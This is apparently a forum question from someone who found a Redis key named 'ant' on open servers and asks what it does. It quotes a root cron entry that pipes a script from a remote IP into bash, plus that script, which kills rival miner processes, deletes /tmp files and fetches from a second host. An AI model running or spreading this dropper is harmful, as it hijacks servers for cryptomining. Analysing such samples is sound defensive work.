Open Redis servers used for mining crypto?

What this do? Redis servers used for mining crypto?

I try to connect to open redis servers. I notice all have key called "ant"
I type get ant in redis an see the following.

"\n\n*/1 * * * * root curl 92.58.162.74:8081/ouch.txt |bash - ;\n\n"

I got to that website and see
!/usr/bin/env bash
U="http://92.58.162.74:8081";D="/sbin";
K=(42HrCw 44iuYe 44pgg5 45hsTa 46SDR7 479MD1 47sghz imWBR kcore 4813za kernel-watch kwatch 49JsSw 49hNrE 4AniF8 4BrL51 11231 AnXqV.yam Circle_MI.png Silence cpuloadtest crypto-pool cryptonight curl kworker logind.conf mine.moneropool.com miner minerd minergate monero monerohash.com nanopool prohash stratum stratum.f2pool.com:8888 xmr xmr.crypto-pool.fr xmr.crypto-pool.fr:3333 xmr.crypto-pool.fr:443 xmr.crypto-pool.fr:6666 xmr.crypto-pool.fr:7777 xmr.crypto-pool.fr:8080 xmrpool.eu yam yam2 [email protected] Carbon)
R=(/tmp/*index_bak* /tmp/*httpd.conf* /tmp/*httpd.conf /tmp/a7b104c270 /tmp/Carbon);
oops() { ps -ef|grep -v grep|grep ${1}|tr -s \ |cut -d\ -f2|xargs kill -9; };
for i in ${R[@]};do rm -rf ${i};done;for i in ${K[@]};do oops ${i};done;cd $D;curl -sm 30 139.99.169.5/bababa;